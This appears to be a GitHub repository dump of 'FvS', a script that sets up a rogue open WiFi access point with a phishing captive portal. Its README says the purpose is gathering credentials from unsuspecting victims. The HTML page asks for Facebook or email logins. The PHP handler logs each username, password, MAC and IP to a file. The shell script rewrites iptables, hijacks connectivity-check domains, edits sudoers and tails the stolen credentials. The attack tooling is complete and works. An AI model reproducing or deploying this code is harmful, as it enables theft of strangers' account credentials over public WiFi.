├── www ├── formdata.txt ├── yahoo.gif ├── GmailLogo.png ├── GoogleWifi.jpg ├── HotmailLogo.png ├── facebookLogo.jpg ├── hotspot.xml ├── index.html └── service.php ├── README.md ├── captive-portal.sh └── LICENSE /www/formdata.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /www/yahoo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Foo-Manroot/FvS/HEAD/www/yahoo.gif -------------------------------------------------------------------------------- /www/GmailLogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Foo-Manroot/FvS/HEAD/www/GmailLogo.png -------------------------------------------------------------------------------- /www/GoogleWifi.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Foo-Manroot/FvS/HEAD/www/GoogleWifi.jpg -------------------------------------------------------------------------------- /www/HotmailLogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Foo-Manroot/FvS/HEAD/www/HotmailLogo.png -------------------------------------------------------------------------------- /www/facebookLogo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Foo-Manroot/FvS/HEAD/www/facebookLogo.jpg -------------------------------------------------------------------------------- /www/hotspot.xml: -------------------------------------------------------------------------------- 1 | 16 | -------------------------------------------------------------------------------- /www/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Free WiFi 5 | 6 | 7 |
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This is a sponsored public service

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For your security, please enter facebook or email details


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Username
Password
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44 | 45 | 46 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # FvS - Fake WiFi AP 2 | 3 | This script sets up an open WiFi Access Point with a phishing captive portal to gather 4 | credentials from unsuspecting victims. 5 | 6 | ## How do I use it? 7 | 8 | Just run`./captive-portal.sh` and read the help message: 9 | 10 | ``` 11 | WiFi Captive Portal script 12 | Foo-Manroot 13 | 2019 14 | 15 | Usage: 16 | ./captive-portal.sh 17 | 18 | Args: 19 | INET_iface: 20 | Interface connected to the internet 21 | 22 | AP_iface: 23 | Wireless interface to set up as an AP. Will be started in monitor mode. 24 | 25 | 26 | Environment variables. To use them to configure the AP properties, you can either 27 | `export =` and then run this script, or directly execute this 28 | script using `env = ./captive-portal.sh ...` 29 | 30 | HOLD: set it to '-hold' to keep the xterm windows up even after the process 31 | being executed dies. This can be used to debug the script and see why it 32 | isn't working 33 | 34 | ESSID: set it to whatever string you want. This will be the name used by your AP. 35 | ``` 36 | 37 | ## Why should I use it, instead of other tools? 38 | 39 | I tried to use other tools, but none of them really suited my needs. They were overly 40 | complicated and I was only looking for a "big red button" to quickly set up a phishing 41 | AP. So I decided to [automate](https://xkcd.com/1319/) the process myself to just run it 42 | and being ready to go, with no configuration needed. 43 | 44 | My reference starting point was [PwnSTAR](https://github.com/SilverFoxx/PwnSTAR). My 45 | major concern about it (and most of the other tools) is that, when we connect to a real 46 | network where we need to register, we are redirected immediately to a captive portal. 47 | However, with these phishing APs, that functionality doesn't work really well, and most 48 | devices end up disconnecting after probing the AP and seeing that there's no internet. 49 | 50 | This is because, when setting up the AP, we usually use very simple firewall rules that 51 | "do the trick". But that wasn't enough for me. 52 | 53 | 54 | Of course, you're free to use any of the gazillions of alternative tools: 55 | 56 | - [Fluxion](https://github.com/wi-fi-analyzer/fluxion) 57 | 58 | - [PwnSTAR](https://github.com/SilverFoxx/PwnSTAR) 59 | 60 | - [WiFi-Pumpkin](https://github.com/P0cL4bs/WiFi-Pumpkin) 61 | 62 | - [WifiPhisher](https://github.com/wifiphisher/wifiphisher) 63 | 64 | - (...) 65 | 66 | 67 | ## What does 'FvS' mean? 68 | 69 | No one will ever know... MUAHAHAHAHAHA 70 | 71 | ## References 72 | 73 | After searching through all the internet to find a way to correctly create an AP with a 74 | captive portal, I finally ended up in [Andrew Rippler's](https://andrewwippler.com/2016/03/11/wifi-captive-portal/) 75 | web. There are the firewall rules that I was looking for, necessary to redirect all 76 | clients to our captive portal upon connecting. 77 | -------------------------------------------------------------------------------- /www/service.php: -------------------------------------------------------------------------------- 1 | \n" . 35 | "\n" . 36 | "\n" . 37 | "\n" . 38 | "\n" . 39 | "
Login incorrect.
\n" . 40 | "
\n" . 41 | "\n" . 42 | ""; 43 | 44 | $success= 45 | "\n" . 46 | "\n" . 47 | "\n" . 48 | "\n" . 49 | "
Authorized
\n" . 50 | "
Continue browsing
\n" . 51 | "\n" . 52 | ""; 53 | 54 | 55 | 56 | $arp = "/usr/sbin/arp"; 57 | 58 | if(($password == "") || ($name == "")) 59 | { 60 | echo $error; // if credentials not entered 61 | } 62 | else 63 | { 64 | // Attempt to get the client's mac address 65 | $mac = shell_exec("$arp -na ".$_SERVER ['REMOTE_ADDR']); 66 | preg_match('/..:..:..:..:..:../',$mac , $matches); 67 | @$mac = $matches[0]; 68 | 69 | // get the client IP address from the query string //Doesn't always work - why not? 70 | //$ip = $_GET["ip"]; 71 | //$ip = getenv("HTTP_CLIENT_IP"); 72 | $ip = $_SERVER ["REMOTE_ADDR"]; 73 | 74 | global $mac; // necessary to export $mac? 75 | 76 | $accinfo = "login: $name pass: $password service: $service\nMAC: $mac IP: $ip\n----------------\n"; 77 | 78 | // Write out the credentials 79 | $fp = fopen ("formdata.txt", "a"); 80 | fwrite ($fp, $accinfo); 81 | fclose ($fp); 82 | 83 | if (!isset ($mac)) 84 | { 85 | echo $error; 86 | } 87 | else 88 | { 89 | // Allow through the captive portal 90 | exec ("sudo iptables -t mangle -A wlan0_Outgoing -m mac --mac-source $mac -j MARK --set-mark 2"); 91 | //exec("sudo /sbin/iptables -t nat -I PREROUTING -m mac --mac-source $mac -j ACCEPT"); 92 | $fp = fopen("/tmp/ip", "w+"); // "w" to overwrite previous mac 93 | fwrite ($fp, $mac); 94 | fclose ($fp); 95 | sleep (2); //for dnotify to read $mac 96 | echo $success; 97 | } 98 | } 99 | 100 | //uncomment to debug $_POST variable: 101 | //print_r($_POST); 102 | 103 | //uncomment to list name, password, and service variables: 104 | //echo('$name: ' . $name . '
$password: ' . $password . '
$service: ' . $service); 105 | 106 | ?> 107 | -------------------------------------------------------------------------------- /captive-portal.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | ######## 4 | # Refs: 5 | # http://www.cybersecurityguy.com/Building_a_Raspberry_Pi_Captive_Portal_Wi-Fi_Hotspot.pdf 6 | # ----> https://andrewwippler.com/2016/03/11/wifi-captive-portal/ <---- 7 | # https://www.shellvoide.com/wifi/how-to-setup-captive-portal-login-with-rogue-ap-nginx/ 8 | # www.andybev.com/index.php/Using_iptables_and_PHP_to_create_a_captive_portal 9 | ######## 10 | 11 | 12 | ######## 13 | # Args check 14 | ######## 15 | 16 | HELP="WiFi Captive Portal script 17 | Foo-Manroot 18 | 2019 19 | 20 | Usage: 21 | $0 22 | 23 | Args: 24 | INET_iface: 25 | Interface connected to the internet 26 | 27 | AP_iface: 28 | Wireless interface to set up as an AP. Will be started in monitor mode. 29 | 30 | 31 | Environment variables. To use them to configure the AP properties, you can either 32 | \`export =\` and then run this script, or directly execute this 33 | script using \`env = $0 ...\` 34 | 35 | HOLD: set it to '-hold' to keep the xterm windows up even after the process 36 | being executed dies. This can be used to debug the script and see why it 37 | isn't working 38 | 39 | ESSID: set it to whatever string you want. This will be the name used by your AP. 40 | " 41 | 42 | # Exits if there aren't 2 arguments 43 | test $# -ne 2 && printf "%s" "$HELP" && exit 1 44 | 45 | # Checks that the interfaces do exist 46 | for iface in "$1" "$2" 47 | do 48 | if ! ip link show "$iface" 1>/dev/null 2>&1 49 | then 50 | printf "ERROR: '%s' is not a valid interface\n" "$iface" 51 | exit 1 52 | fi 53 | done 54 | 55 | # Check PHP version 56 | ! test -d /etc/php/ && printf "ERROR: PHP needs to be installed\n" && exit 1 57 | PHP_VER="" 58 | for dir in $(find /etc/php/ -mindepth 1 -maxdepth 1 -type d | sort -r) 59 | do 60 | test -d "$dir/fpm" \ 61 | && PHP_VER="$(printf "%s" "$dir" | awk -F/ '{ print $4}')" \ 62 | && break 63 | done 64 | 65 | if [ -z "$PHP_VER" ] 66 | then 67 | printf "No PHP-fpm version detected\n" 68 | exit 2 69 | else 70 | printf "Detected PHP-fpm version: %s\n" "$PHP_VER" 71 | fi 72 | 73 | 74 | # ---------------------------------- 75 | # ---------------------------------- 76 | # ---------------------------------- 77 | 78 | #### 79 | # Global variables 80 | # 81 | 82 | INET_iface="$1" # Internet connected interface 83 | AP_iface="$2" # Interface to use with the Access Point 84 | 85 | 86 | # AP settings 87 | test -z "$ESSID" && ESSID=FreeWifi 88 | CHANNEL=6 89 | 90 | TMP_DIR="$(mktemp -d)" 91 | 92 | # To get the opened XTERM to stay even after the new process dies, set HOLD="-hold" 93 | test -z "$HOLD" && HOLD="+hold" 94 | 95 | # ---------------------------------- 96 | # ---------------------------------- 97 | # ---------------------------------- 98 | 99 | #### 100 | # Iptables 101 | # 102 | 103 | # Flush all connections in the firewall 104 | iptables -F 105 | # Delete all chains in iptables 106 | iptables -X 107 | iptables -t nat -F 108 | iptables -t nat -X 109 | iptables -t mangle -F 110 | iptables -t mangle -F 111 | iptables -t mangle -X 112 | iptables -t filter -F 113 | iptables -t mangle -X 114 | 115 | # wlan0 is our wireless card. Replace with your second NIC if doing it from a server. 116 | # This will set up our structure 117 | iptables -t mangle -N wlan0_Trusted 118 | iptables -t mangle -N wlan0_Outgoing 119 | iptables -t mangle -N wlan0_Incoming 120 | iptables -t mangle -I PREROUTING 1 -i "$AP_iface" -j wlan0_Outgoing 121 | iptables -t mangle -I PREROUTING 1 -i "$AP_iface" -j wlan0_Trusted 122 | iptables -t mangle -I POSTROUTING 1 -o "$AP_iface" -j wlan0_Incoming 123 | iptables -t nat -N wlan0_Outgoing 124 | iptables -t nat -N wlan0_Router 125 | iptables -t nat -N wlan0_Internet 126 | iptables -t nat -N wlan0_Global 127 | iptables -t nat -N wlan0_Unknown 128 | iptables -t nat -N wlan0_AuthServers 129 | iptables -t nat -N wlan0_temp 130 | iptables -t nat -A PREROUTING -i "$AP_iface" -j wlan0_Outgoing 131 | iptables -t nat -A wlan0_Outgoing -d 10.3.2.1 -j wlan0_Router 132 | iptables -t nat -A wlan0_Router -j ACCEPT 133 | iptables -t nat -A wlan0_Outgoing -j wlan0_Internet 134 | iptables -t nat -A wlan0_Internet -m mark --mark 0x2 -j ACCEPT 135 | iptables -t nat -A wlan0_Internet -j wlan0_Unknown 136 | iptables -t nat -A wlan0_Unknown -j wlan0_AuthServers 137 | iptables -t nat -A wlan0_Unknown -j wlan0_Global 138 | iptables -t nat -A wlan0_Unknown -j wlan0_temp 139 | # forward new requests to this destination 140 | iptables -t nat -A wlan0_Unknown -p tcp --dport 80 -j DNAT --to-destination 10.3.2.1 141 | iptables -t filter -N wlan0_Internet 142 | iptables -t filter -N wlan0_AuthServers 143 | iptables -t filter -N wlan0_Global 144 | iptables -t filter -N wlan0_temp 145 | iptables -t filter -N wlan0_Known 146 | iptables -t filter -N wlan0_Unknown 147 | iptables -t filter -I FORWARD -i "$AP_iface" -j wlan0_Internet 148 | iptables -t filter -A wlan0_Internet -m state --state INVALID -j DROP 149 | iptables -t filter -A wlan0_Internet -o "$INET_iface" -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu 150 | iptables -t filter -A wlan0_Internet -j wlan0_AuthServers 151 | iptables -t filter -A wlan0_AuthServers -d 10.3.2.1 -j ACCEPT 152 | iptables -t filter -A wlan0_Internet -j wlan0_Global 153 | #allow unrestricted access to packets marked with 0x2 154 | iptables -t filter -A wlan0_Internet -m mark --mark 0x2 -j wlan0_Known 155 | iptables -t filter -A wlan0_Known -d 0.0.0.0/0 -j ACCEPT 156 | iptables -t filter -A wlan0_Internet -j wlan0_Unknown 157 | # allow access to DNS and DHCP 158 | # This helps power users who have set their own DNS servers 159 | iptables -t filter -A wlan0_Unknown -d 0.0.0.0/0 -p udp --dport 53 -j ACCEPT 160 | iptables -t filter -A wlan0_Unknown -d 0.0.0.0/0 -p tcp --dport 53 -j ACCEPT 161 | iptables -t filter -A wlan0_Unknown -d 0.0.0.0/0 -p udp --dport 67 -j ACCEPT 162 | iptables -t filter -A wlan0_Unknown -d 0.0.0.0/0 -p tcp --dport 67 -j ACCEPT 163 | iptables -t filter -A wlan0_Unknown -j REJECT --reject-with icmp-port-unreachable 164 | #allow forwarding of requests from anywhere to eth0/WAN 165 | iptables -t nat -A POSTROUTING -o "$INET_iface" -j MASQUERADE 166 | 167 | # CRUCIAL: enable IP forwarding 168 | echo "1" > /proc/sys/net/ipv4/ip_forward 169 | 170 | #### 171 | # Start hostapd to manage the AP 172 | # 173 | 174 | cat << EOF > "$TMP_DIR"/hostapd.conf 175 | interface=$AP_iface 176 | driver=nl80211 177 | ssid=$ESSID 178 | hw_mode=g 179 | channel=$CHANNEL 180 | macaddr_acl=0 181 | ignore_broadcast_ssid=0 182 | EOF 183 | 184 | # Starts hostapd using another terminal 185 | printf "Starting hostapd\n" 186 | nohup xterm "$HOLD" -e hostapd -t "$TMP_DIR"/hostapd.conf & 187 | 188 | 189 | 190 | #### 191 | # DNSMASQ 192 | # 193 | 194 | cat << EOF > "$TMP_DIR"/dnsmasq.conf 195 | interface=$AP_iface 196 | dhcp-range=10.3.2.100,10.3.2.200,255.255.255.0,12h 197 | 198 | # Override the default route supplied by dnsmasq, which assumes the 199 | # router is the same machine as the one running dnsmasq. 200 | dhcp-option=3,10.3.2.1 201 | 202 | #DNS Server 203 | dhcp-option=6,10.3.2.1 204 | 205 | server=1.1.1.1 206 | log-queries 207 | log-dhcp 208 | listen-address=127.0.0.1 209 | 210 | # List extracted from 211 | # https://www.shellvoide.com/wifi/how-to-setup-captive-portal-login-with-rogue-ap-nginx/ 212 | address=/clients3.google.com/10.3.2.1 213 | address=/gsp1.apple.com/10.3.2.1 214 | address=/.akamaitechnologies.com/10.3.2.1 215 | address=/www.appleiphonecell.com/10.3.2.1 216 | address=/www.airport.us/10.3.2.1 217 | address=/.apple.com.edgekey.net/10.3.2.1 218 | address=/.akamaiedge.net/10.3.2.1 219 | address=/.akamaitechnologies.com/10.3.2.1 220 | address=/captive.apple.com/10.3.2.1 221 | address=/ipv6.msftncsi.com/10.3.2.1 222 | address=/www.msftncsi.com/10.3.2.1 223 | address=/connectivity-check.ubuntu.com/10.3.2.1 224 | EOF 225 | 226 | # To avoid problems regarding already assigned ports 227 | echo "Stopping systemd-resolved; in some versions of Kali systemd-resolved is not installed and this will fail harmlessly" 228 | systemctl stop systemd-resolved 229 | nohup xterm "$HOLD" -e dnsmasq -C "$TMP_DIR"/dnsmasq.conf -d & 230 | 231 | #### 232 | # Network routes 233 | # 234 | ifconfig "$AP_iface" up 10.3.2.1 netmask 255.255.255.0 235 | route add -net 10.3.2.0 netmask 255.255.255.0 gw 10.3.2.1 236 | 237 | #### 238 | # Lighttpd for the captive portal 239 | # 240 | 241 | cp -rv "$PWD/www" "$TMP_DIR/www" 242 | cat << EOF > "$TMP_DIR"/www/hotspot.xml 243 | 258 | EOF 259 | 260 | cat << EOF > "$TMP_DIR"/nginx.conf 261 | user www-data; 262 | worker_processes auto; 263 | pid /run/nginx.pid; 264 | include /etc/nginx/modules-enabled/*.conf; 265 | 266 | daemon off; 267 | 268 | events { 269 | worker_connections 768; 270 | # multi_accept on; 271 | } 272 | 273 | http { 274 | 275 | ## 276 | # Basic Settings 277 | ## 278 | 279 | sendfile on; 280 | tcp_nopush on; 281 | tcp_nodelay on; 282 | keepalive_timeout 65; 283 | types_hash_max_size 2048; 284 | # server_tokens off; 285 | 286 | # server_names_hash_bucket_size 64; 287 | # server_name_in_redirect off; 288 | 289 | include /etc/nginx/mime.types; 290 | default_type application/octet-stream; 291 | access_log /dev/stdout; 292 | error_log /dev/stderr; 293 | gzip on; 294 | 295 | upstream php { 296 | server unix:/var/run/php/php$PHP_VER-fpm.sock; 297 | } 298 | 299 | server { 300 | listen 80 default_server; 301 | root "$TMP_DIR/www"; 302 | 303 | # For iOS 304 | if (\$http_user_agent ~* (CaptiveNetworkSupport) ) { 305 | return 302 http://10.3.2.1/hotspot.html; 306 | } 307 | 308 | location / { 309 | if (!-f \$request_filename){ 310 | return 302 http://10.3.2.1/index.html; 311 | } 312 | } 313 | 314 | location ~ [^/]\.php(/|$) { 315 | fastcgi_split_path_info ^(.+?\.php)(/.*)$; 316 | if (!-f \$document_root\$fastcgi_script_name) { 317 | return 404; 318 | } 319 | # This is a robust solution for path info security issue and 320 | # works with "cgi.fix_pathinfo = 1" in /etc/php.ini (default) 321 | include /etc/nginx/fastcgi_params; 322 | fastcgi_index index.php; 323 | fastcgi_param SCRIPT_FILENAME \$document_root\$fastcgi_script_name; 324 | fastcgi_pass php; 325 | } 326 | 327 | } 328 | } 329 | EOF 330 | 331 | # Starts the PHP-FPM service if needed 332 | test -x /var/run/php/php"$PHP_VER"-fpm.sock || systemctl start php"$PHP_VER"-fpm.service 333 | # The PHP-fpm service doesn't work with root 334 | chown -R www-data:www-data "$TMP_DIR/www" 335 | chmod 0755 "$TMP_DIR" 336 | 337 | # We have to allow www-data to execute the iptables command, to give internet access 338 | # Thus, we edit /etc/sudoers 339 | append="www-data ALL = NOPASSWD: /sbin/iptables -t mangle -A wlan0_Outgoing -m mac --mac-source ??\\:??\\:??\\:??\\:??\\:?? -j MARK --set-mark 2" 340 | 341 | # Create a backup to restore later 342 | cp -v /etc/sudoers "$TMP_DIR" 343 | printf "%s\n" "$append" >> /etc/sudoers 344 | 345 | # Start nginx 346 | nohup xterm "$HOLD" -e nginx -c "$TMP_DIR/nginx.conf" & 347 | nohup xterm "$HOLD" -e tail -f "$TMP_DIR/www/formdata.txt" & 348 | 349 | 350 | # Doesn't continue until all the background processes are done 351 | wait 352 | 353 | #### 354 | # Cleanup (sort of...) 355 | # 356 | printf "Cleaning up...\n" 357 | #airmon-ng stop "$monitor_iface" 358 | echo "Starting systemd-resolved; in some versions of Kali systemd-resolved is not installed and this will fail harmlessly" 359 | systemctl restart systemd-resolved 360 | route del -net 10.3.2.0 netmask 255.255.255.0 361 | # Don't know why; but it gets added twice, so it has to be removed twice 362 | route del -net 10.3.2.0 netmask 255.255.255.0 363 | rm nohup.out 364 | 365 | # Rstores iptables 366 | iptables -F 367 | iptables -X 368 | iptables -t nat -F 369 | iptables -t nat -X 370 | iptables -t mangle -F 371 | iptables -t mangle -F 372 | iptables -t mangle -X 373 | iptables -t filter -F 374 | iptables -t mangle -X 375 | 376 | cp -v "$TMP_DIR/sudoers" /etc/sudoers 377 | 378 | echo "0" > /proc/sys/net/ipv4/ip_forward 379 | 380 | # Removes the temporal directory 381 | rm -rf "$TMP_DIR" 382 | 383 | printf "Bye :)\n" 384 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------